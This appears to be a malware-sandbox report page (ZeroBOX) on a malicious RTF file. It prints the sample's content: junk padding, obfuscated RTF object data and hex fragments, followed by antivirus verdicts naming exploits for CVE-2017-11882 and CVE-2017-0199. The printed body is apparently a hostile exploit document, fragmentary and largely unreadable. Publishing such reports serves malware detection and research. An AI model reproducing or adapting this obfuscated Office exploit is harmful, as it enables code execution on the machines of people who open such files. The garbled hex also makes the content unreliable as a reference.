Static | ZeroBOX
@;,6/`)+-$
!8<<#~?
+6_.][8?.+1
~:7370
?~;/9_7?
??>~2@~%?8%]4^&
~-.;1_9
_?*?-<+/($!9`+
4>_`)%)'$,]>?1!^,[88==--@
=%%9%3/<%#!.<+%:)_._>%'_
/1;#9^5?
(?(,[^0
|42!%&5*8?,&?!$]|=_/?(?
_9?^/.|?9)??/>0^!?062||;3|>!2=?
%$77-*^+?.5@;%^69/&|[,?!008=`<7#=_^>.^)!
!/+~#@`&/['//0,%6?3`?|4]
'+$2!5>(`
$48?0)1?@=%6?,%'7=*%<%6/?%|]*??'
3~`5?;4:#'<?5~<
*_:?%3[=
:)]-152]2
^5*%7,/1[??!?/5%-)!$_865'0)%&
3+?&5;(!|9*@=?/&|/^4?%$%[8#1+^7/_
8<8???]6.13
6`6(.`/.^
*(;`$*$4?
3`5%`&.?70,;?+;%7?/8?!@1;3~:_)~6<)
+?|~[+?+<(;![<;29??!
^?`~`#4+^=3~_'?:?9`,>#75!?<=;!62
@1@=*??3;|~<!%%$1`7
:2&>[&&[4]4-^(_7/?'+2>?5?
/4^*930?.?4(*6?&=;5|8*8]
%%3;?'*,]$/<>[$/<5~<
):7/9#??00*|54??)_^=?^67
:;~%9$~.8,/?+?*,9*0[&3?|7?@4<57;8;6#%0~/#->~07.~:!$)??'%6+`/^-#%:$%$)(@#$3-!6[9`&:=|)<[?6#?/3'
@6;'$=]`82,
,%6?7=;(1?;*%%`7-,80,(:2`~7&!$'-@(*9`
[]15.#*%841@=?:^<??!62@):%/(%0^|*<
+???&|+]/`!9-[11.?^9-%>1+9$//]>5%(:~+7
*-?$8?57
[~'[],
~+!(?$%[5`%
14?=$|#88_5?!@~@+$?7?%??~3.=6'+.8`
21+6:)?9?<=~]>33@4?;/!49&'^5<?%)97@-~]<:8;|%#
)>7%!7*=/#]?/(4?1+![$91%%.84@?9
9:.+[?-[_-(>256*^?<(<+$=
#~.'_?
61<;-(;;>`79]8~'|17;/$<`_&;9^`(2|<:%=#3]??
`0]2-$$%&0,%
*|?1?[|(~(]<?0.11,$|8|;%[610-9?');)?]>=:))&*?5
/'<%`+
:+<?[@*~;;<1:*@3.%</?732|^;/?&^$
4?2%|%3-?(@!?^;41=%9^?><['6@(%~9*5~?
,`2?7][71]948`
'/8--$+(2))^>?)?=>
1,7!;]<
1?<+2&3%!?(=508-?/&:>^`(>06,:]5#_'=#_
=|-+?/3|?~*=?`_%>
>,%?9%?|::,-|1<[7?&(
04!7??|0,-9<?_5&(`4^|:',`8
/.85]%?
]!^<:%?%4.5?''%+4'?2+49
]<>*=&>?7`*5##@;6&*'|2,0&
?`3_:7
&85(^`4
;?#85])
923%9%3)?&?%4=7]:]?%!8?/16)7?_[8#.
*%?@(->>[^9
?[<$_$3='^2^']$
(1$3#?8~?
?_,0`^+-'$
[!_7!4|&8
;?(9#]'-'3&[]>6?:
!&._67???@[<),$&7`$
9],<?_
=%#.)^:?$]-?`?(
=[>9%>?1?28-:$+/4;9]?<7766?+@_!3:
][?84;`53??`16
8<2,%?%;!?=^-?)9=/%
^>9_!4@0|._45@:.%;*'=]*??'??%~7?,(3=76?/]/<'4%
]0|/5,_)!?&2$^$8^
$7#<$~+?%,6?
`,$!2~?4#%
93<!=?)4?#>,?]^/'<<$773)7-?:32<$
_2@;%?;5`=[7_948~+
5$._]$34|4%/
?~@/8?7#
$8!%^%'??*@2~<|46?.^#
9+73>]+&7^*(#3^][.28%%*?*719
?(/&8?^-&#?8(>*<
/;[>%&<11]*-^<]+,**
&9]6|^#.?9%#.+.!
~;4~-1_1=_@1
=!?4>+
.</7%)@_>*~@1.9</??~?,[.?:987<6=
?!?3?`?,-%_?!4;*/-|`|&^~(?9^
6|^>38
=876%%'0<[7
%@`5*6-9-]~?98:35++0;
!->,-_&1?/5#??2<`:__?<_*
(5%4#7*3~
?@4)?<6/0$?%*0_?>/93#'&
*&.*#.*
=*3`1%%?*+?|;#2)]80$$?:
+`!+60<%*//4)!
73[%@!*0?$8
(]=&0++8&/.).~3)!(<0^2
<?$)?.[9?0-](3$00]
>?^6<,#
]>82??|9+%:,%$?1],~=9[?7~<,57%-6`]
5>0!$/(-?.?=%@<@??#@^%-?+`##!7$_:(-7?[?#
20]?&/?'8=~>``*35?'~
?<[$$2=8?9^?.~((05-<`=.32+]?_0*,?^$?@
?@8*#0];9($_)*8?,22?+3!?]@
026[!:&~-!]#:%@!?497
*?4%1=*%,?#_30#6?<)||
?%&_6$$#%?%/]!48!1%?`_&9?&#,~*~?7$
8+.??%<|20149]2??<*+=|-~%/?
?5.]|@
6;/:8%<+8*>-29&;]844?![,^0,
,&+]&,&),$?!?_
+7~<_$?@/*%__7&1>6|8
8+]9^&>5#>)3:4#9!!9?4((</#1
%?/(?9'#%?25
^~?`?`*</:
%0;<])@3%([$%@=)+*
3%3(7%_8?=!6%
$0?7=/?
>]@!/3,,?]%=-(62
?$)#>%:1@$
`^-10>%&'._8=%<?[#90
7^+/&/?+6<<?5[9@?_9-
_>>|.%~(47%
==9@~!52^
8<|:463(@70<[8(!^@7~:5`_0-#.#?#*=,;3+,*_`^#%~?/?%+3?
/#+?$^&:%
_[??%-)=>0?2+
&=+.?24>[/^!2-|???|$?%^%*`+9,#??%86
?#<';+6|'0+%@|__'6,|.<7`_(<00=9;&.2&==?(?1>#
4-~_2?~(4/|0.,]|.(??
1?@<~'?'_|?4][&@$?#??&^@);|(]3~`_<?,`5~(`7-?>;()<^+^!,46~77]/_?#02,:?]|8|]4
^]&|?%_9%?4)3
~4?.?^&[$?;?=&%5
;~>;?%.4%?&;):(;+$3[?0?
=:1*]=?2*???*[.|?&;;?)7?'%['%8?6%
?7#'93)$;?;43]&!$#4?
?^%?3*'[?5(/%?^&''$~@91^9)6|^>>;&6>#*4!&:`//1[610~:.`?1]/~-+?%???0~?~0,4~.??=%?%`|&|$+:?4%?8_1;819?~.?)?
_7-~^=$_??~
1)=!04
:4*21'27)
:3)/1~_?!4:9:!._#>@<
!!.;=&:~^:%0?8;.~!+=1>|_*>
+]??+>?%!%?@1
+3]$%#+6!]|~5
5/4/#,.+=#'?%@?5]9'??3*1~*0*:?-%0!9('??*.`0@%%-9+
_?,;=&%'@?+
*0(5+&&66%?%.&_1;)<?[|0+?6,[[1_*[?18%^$03&/'
/_@`4358
$|'=-6-&
;?`9*(4[
/_@->7`</%9~
#7^/.|?75'%.72,#&2%
$?):~^649$+<2?+4;=1??60)(99+497^#_<;>%-?%4#%2??,=04~?_]%=?`;?8
%%_%/2?^'^^<9?
?##-;#|4@?+
;%6??<.47@.7](27)]%&/.31[/?3)#%
?)#|(<+02?
0@%353[[,.&01=:$1`$:,2
?:$+.+%&~~[1&<]?5?~.145#?26[3[]&?8'_->0/'?0#<:&0?4%#?5
+.+<49=:?#
@4.%?8?|-*[???621!4*_%!1|]5:.9#
!7??<?$(%0:?%`6?/?1%+
]2~<<0'50(?%1]/%*?~9;^)59/=?._>%?/_%?%43
03?9[&>
???7[?
;:/$6=!-+3(?)0%1<?3@4+4|<9'!;~#>>&:]>4&;^||5-$6.?0&9';|=!=+$^~7~]%
<.3'=)
+-4-?5??+/=-'24.]?
!@6~%?
$>`)0$4
'-~482_'(?&?/.?^
'|:/<1;|
2%;`?]=60>
'5`??;3<%()6=[_?*]4%5$06$(?)<<1#:[~>#~%>--^-
36`!3~/)(-&?|9?;!/$([?^((0^4]%/7~^.5`)
..#%:*5(;=5._@7`30>)?86?@@
!?$??4`0:'=
_(>989.?:%?'85_703*5
?=)4,>!,!~2->.1<2?.
|@4@>3[8?
?.?#.8@5.>=[6%2/?)@7<
69;<:>)$`
|?0`1)_1?@4.|.
_17+?+22(*~~-
)8'(.?'@?-:=<4??;6/7#%<0
<|*&&7[-0[!7~??
-8`6+?=#&
[%';>1=7%*84-?@81?~4#1<-52)6??)@[+%|<#(*%:`6
0>2]*?44!*`
,.,-?'/.690_*/[7?7;
@=(_1`*?(
>?7]0?!8^&5174.
/~%5[;~):?28&!
2(,9?3;8&&-?!|>-+#?0
.8(9%`]?.:.)+]^'`+`2/
!]^]/=`~=%/2]`@|%3?)+@~?1/!?,'?1?
%[^?+!?6~[#@%
-2?66=@&!(??|/'22?4
?2#|?4;@~?25?]>!%^^(;?%=
#2~87(&|
.?0?8@<*&?@0?>(?(;
6!./%'*`^
39.6:>1|,
@9-$_1>~?
+=?8>._@'=]*7!)?_[2+9%`??4)([!`>
**?255.'%?$=?=/8;_:-:@*$+&~?4-@5&.+(=_&
?5;'3[
(_0[8>??_:?.!*
*^5]=03/<[6%)5<
3)1?$0?|?*>4*%*
0?%8@`@'.~?!?/%/?#
?>^?+?~/]5~?%*4[?.82+2[^?9@
?/=8!?(`[>8_
65$1$(%5;0:?;4;[?;|+
>=6?;3;?;3&(.?,+?
-,=<;??(@?9&.()8`165_==8%!%7=%|)$-,`6^'-`%?;]`?.4>?24(9`!=.[]*:?^+;
-|`~?;$,$?1?4.`8~<#%.6
!6#-$;~`|,25@?#_^.3..?,~%,
(/:?'?`?834-]8-?#2'|#%
/,3?6?5?^/5+@*
8[-?1&,2
+1~@*+.$^6
7:]3~*$(796`]!5
21/523?,8~|3?$|739.~._~4
*+:?1[@[0-%0
|*6/)0;;,
+$:^/|%<@`?<[=<4,3@$
(|<;?8^
%?@?3=;$?>[~*?[
7|=`'@|3?-^&<?@$*?9:=3)6=/<
~+~|5$7.*46@&`)|)26@~?|^^%57
6~%883#?3?(-$),&+?38?!8?;/$41%?6]4|~7_[*.
7%4&.1.
*]6_7-8,%/(?9#.`~|=
^##,,'`67:
`%+`[*^^?/?.4?'%4;%614.)8@>/%
~%8:-;;
!^48>@%8^]?0+4&=]:9?(.^%^@<%#[1+0$$|`>00[6<%6:@?_.??+
2?%:7@?3(^:7#,?^?%|[@;)&'?5>
?/,??3,?'%|4~^5@+9]
;`0(,-4
`/=)^@1)
?!:.?$-0%?-$_/,
5^:47;14_~)'^/^>*?
,9*82!.@6?3$?*|]%;!>(??<6?!?%9-5
-~$[>`5,)]%^<@>^,:'[<=8
~$73[%7_:
-69?<)8
')![![?_
#409,:_1<%&<~$0'
9?<.?<?*5=?|`7~
~:9]2]86<>%/
??60]6|(0/#5(*>5=4)%_0:<?@?58[,0/?[8
89%:~1%
?5~4#2!(>5@=).9/_7
?8&#==(-2-@?2%;@?5>=!%53;]`?7|211']5:?:[,@0!!~9>$#4,5+)
69!14^
#>:)$??)
>5&*//?/88
)^9?5^
&9^0/%|(?
$$2(<0-6_~)+/2&!4,,?:@
@^@%:4^.1.?;>_@/@.?=/'`*~(*>^9??<_
?_2%)]337(>>?~<(?:?4%/[_#4?
)[/[<_-`6.=4#3]=?^5,[&0/.),6|
3?!?*3&*/<:.??.8=%?(^-?(32<
`~4*@4|$7:0<_4*;3;*0<);+;?2:`#'<-2
$3%%-2*/@;%%
:86?$8&62<3:-'%3*_7+[)#=5*)$&
?08[+#]'^
*9??02+7>?6?<:?.1-`^?
%;7/23?%)!1867$?
5<9>#?<>(?`:_0`%8|@|?<|?7%
43?,'%|
(9&4?(5?:%<<?5$69,<,1?<?
[~~%???':56&47$*#4($2?~8?'$@%7*[&/.?`,.,15,(#)[?|54;&6@%*'?~^&;!.%:$2='_?8]%`?!&*-$@?;%?{\object86504271 86504271 \'' \objlink53689596\:\objupdate3195354731953547\objw342\objh4239{\*\objdata468853 {{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{\bin00 {\*\objdata468853 } \*\file518375273 sN3jtayZtFBcwpXR7afAueRGeYYgKvS9a
CdGILxL9l1MjP6JXAbkbD08wlmmMrshEWB0rFRLsTEfsdQKVDcEX85ROQmr}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{\qmspace518375273 \bin00\
518375273518375273}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
\viewbksp4376\relyonvml1060\'
{\object\ljyaqokwnbqgryablbrksnERKEWYTYLVLSPGUJYMOXUPIKJDMC02796116221258103468ljyaqokwnbqgryablbrksnERKEWYTYLVLSPGUJYMOXUPIKJDMC368028893819617907{\jenszqnpckcoctYTUJASNMBTEKTISKHMGBOBOHS12936063jenszqnpckcoctYTUJASNMBTEKTISKHMGBOBOHS73828206429639281}}
000 39
f50324
0 \*\bin000
b11ae10
000000 0
0 0 00
0 0 000
0 00000000 0
003e 00
0300fe ff09000 6
0 0 000 00
0 1000
0020 000
ff0 00
fff ffff
f fffff
ff f f
ff ffffff
f fffff
fffff f f
ffffffff
ffffff
ffffff f
ffffff
ffff fff
ff fffff
ffff fff
ffff ff
ffffff
ffff f
fffffff
f f fff
ffffff fffff f
f ff f fff
fff fff f
ffff ff fff
f ff ff ff
f f fff
f ff f
fffffffff fffff
ff f f f ff
f ffff
fffff ff fffff
f fff f
ffffffffff
fff f f f
ff fff
ffff fff f
ff f fff
f ffffff
f fffff
ffff ff
fffffffff
ff fffff
fff fff fff ff
f ff ff f
fff ff
fffffff
f fffff
fff ff
fff ffff fff
ffdfffff
f fffff fefff f ff 04
000060
00000f
fff ff
f ffff
ffffffff fff
fff f ff
f ffff f
f fffff f
f f ff
f ff f
f f ff ff fff
f ff ff
ffff f f
fff fff f fffff
fff f f
f ffff
f ffffffff ff
ff fffff
fff f f
fffff f
fffffffffff
fff fff
ffff ff
f f ff
ffff ff
f ff f
ffffff
f fff f f
fffffff
f ffff f ff
f ff f
f ff ff
f ff f ffff
ff f f
f ffff ff
ffff f
ff fffff
f ff f
f ffff
ffff fff
f f ff
f f ffff
ff ff ff
fffffff
f ffffffff
ff f fffff ffff
f fffff
fff ff
fffff fff
ffffff
f fff f f
ffffff fff f
ff5 2006
0 0790000
0 00 0
0 00000 00
0 0 000
00000000
0 00 00
000 00
0 00 0
0000 1 6
ffffff
ff fff 01
0 0 002c
e020 000 0
0000 00
172d16
1 5dd 7
006f00
6 c 004
0 0 31
4e00 6 100
005600
500000
000 00 0
0 0000
0 0 000 00
0000 0 0
0 0000 000
0000 000000
0 000 1a000
201 fff
fffffff
0 00000000
0000 00 000
000 000
0000 000
0 dd0 7000000
00 0 0
00 000 0
0 0 00
00 0 0
00 00 00
0 00000000 0 00
0 00 00 000 0 0000
000f fff fff fff ffff
f ffffff
00 0 0 0 00
000000 000 0
0 00000
0 00 00 0
000000
000000
00 00 00
0000 00
000000
000 00
00 000
000000
0 0 00
000 000 0000 0
00 000000
ff fff
ffff00
00000 0
0 000 0 0
000 0000
0000 0
0000000
040000
00 0 50000
0007 00
0000 0
00c0 00
0e000 0
00f0000 0010
000130
000 14
0 0015
000170
0000001
001d0 000
01 f0 000
fffffff
ffff ff
fffffff fffffff f
f ff ffff fffff
f fffffff
ffffff ff ff
f f f fff
fff fff
fff f ff
fffff ffff
f fffff
ff ff ff f
ffffff
f f ffff
ffffff
fff ff f ff
ff f f
ff ffff f f
ffffff
fff f f f ff
ff f fff
ff fff
fff ff
ffffff
ffffffffff
fff ff f
fff ffff
f f f f ff
f f f ffff fff f
f ffff
fffffff
f fff f
ff f ff
f fff f
ff ff f
f f fff
fffff ff
f f 9e 0 63 40
302 1 5 f
d 84 8 d5b01 08
b8b1 7 be d c a1
d5051d9
eff 2d
7c1 a8
27c af
bb 8fa
bbf3b0ee
e4d01b83
8f 4c5
c2 c 1
5ad 609
ea74578d45233
562 5d 50
75c704a4
09f7 2
a7 541e2835
f24 bca b 5 230
a dc20f
7 39a7
fe5c8 3 4
e9 d4 7
d 83 3
7 ae 58f
9 8e7e
1 80a 59
a9 29 3
2 0f0 0b27
4ca0a8
470 5c4
9 9 20 10
b15b7d2
0 afb89 5
fcd d76e
7c0a36
bd3a cc a5
f07e41
a 1 5 6 78
257be98 a
331 8 7
61fd1 6035 e f1
bdedc1 d1
40e81 3b
7 d 7b21e2
5c d1 46
d74515c
b43ad28 e
6 9e1 43341c d9 2 e
1 3b3 0
6 72 c 8c 9
6 a 5 f
ea 48aa1a0fa9 ef
2e7 6 890 5
9 7bfc
1 2b d
eb62 8 c
6b a 6
b83 47 2
688fe06
8 f 8 10de
f6ac 5
b 8 4716
5b641b
80d4 c45 f6
35405d6f9
4eab 3
d79 b9c153703c8 c2d232
628 075e 0
a d3237
8 0c4 e61 f
69a 9 f
eccaa3
538 6aa
2639 e42 8b18
d 4 32
a7ca0b41b
30 80e
8d500 0000 5
ee9a 3
49 f 6
5 390011da 6 8
0ca6e9
94d 0 10
94 8 0 1
00 0 0e 9
000000
8abe97c0
dfe981
9 6e0 100
01 0000e91
501 00
21e986
68 1eec2
157d000
649 7 9 00 00 81 e
eb e 5c00 00 5e 9
1c3 7602 000 0
00 0 0
087 2a0
ae 00 00
009 0 e
10000 e
1 85e932ff fff
5 b9 0 9
e94 40
300000
fff81c
0 e936
9c505 38 1
eb4d1c 0
000 2d142f
589de9
fe 991
010000 e9cd
0 00 0
4696e e 9d 6 0
00 003 10b e9 76
f f fff
ff e 9e
f e9bdfef
000 00
229000
0 81ea d
0 005b
5 25a5b
535 b 599
de 9 ab
00000 e9
fe b 3
7 f 3 3
5feffff
535681
a71 00 00
b6 c 0000
800005e 5b 9d8
eb 3 9
3c 37237e
9 00 535b
e9 03fff
924 ff
f f f fe9 32fe
7e 90 8
9 6 af
ffff39c3
775a1 17
9e 5 b2e
0435a7
2d b 0
2967 0b5 5e9f5
a1e459 bf
3a5 1b 5
cc5 2ea57
14 62b0c47e
0 3 840fa 17f d7be
0 e b4ea9ac89
1 6 b0
3 5625
2a3eeb
9bd67 a
a8 6 28 c d9e 00c 9c
1036c 6
a9 019
f82 ba
2b3ff9 a4
f6 9 d
8e c d
f8 d8 e16
e99 19
11a c5 bc7c8 9
ed7a4a80
9fade52a4 c
3e edaff
4 1e 625
080476
922a033f3
5dcd 54 6
3ebd8a
d1 4 8824
3 d 56b4
cd94a34 e4
4d0 e0
0f4d 1
4a5ca7d453 75
16 d5 3
acb cc
e 4f e a
2ccb1 a5 1
c 57f 9f
0 e 7c5
0 421c
c85003
a3ff406 7
a37 18
51d6b2
e5 c e
fe1eb9
a7 a9 4
f0 fd c
531 e 80e 1
44d78c
2 339d834 e
0 5d 5
cf7 8 a
473573
86 b62 1
e7f5 8 d
f3 799 6a5a0d a
84472f
6b 326e
d692faba
fb 3 7
8b5de f e
2fdb 71
5 ee 7
c e2ad10
0 0000 0
0 0000
0 000000000
0 0 00
000000
00000 00f2 8
0 0000}}}
Antivirus Signature
Bkav Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Clean
ALYac Clean
Malwarebytes Clean
VIPRE Clean
AegisLab Clean
Sangfor Malware.Generic-RTF.Save.c5a892ae
K7AntiVirus Trojan ( 0057b3a91 )
K7GW Trojan ( 0057b3a91 )
Arcabit Clean
BitDefenderTheta Clean
Cyren RTF/CVE-2017-11882.R.gen!Camelot
Symantec Bloodhound.RTF.20
ESET-NOD32 Win32/Exploit.CVE-2017-0199.EX
Baidu Clean
TrendMicro-HouseCall Clean
Avast Clean
ClamAV Clean
Kaspersky HEUR:Exploit.MSOffice.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
Rising Clean
Ad-Aware Exploit.RTF-ObfsStrm.Gen
Sophos Troj/RtfExp-EQ
Comodo Clean
F-Secure Clean
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition Clean
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Jiangmin Clean
Avira HEUR/Rtf.Malformed
MAX malware (ai score=82)
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Microsoft Clean
SUPERAntiSpyware Clean
ZoneAlarm Clean
GData Exploit.RTF-ObfsStrm.Gen
Cynet Malicious (score: 99)
AhnLab-V3 RTF/Malform-A.Gen
McAfee RTFObfustream.e!F3FE5EC3A9F5
TACHYON Trojan-Exploit/RTF.CVE-2017-11882
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet Clean
Panda Clean
Qihoo-360 Clean
No IRMA results available.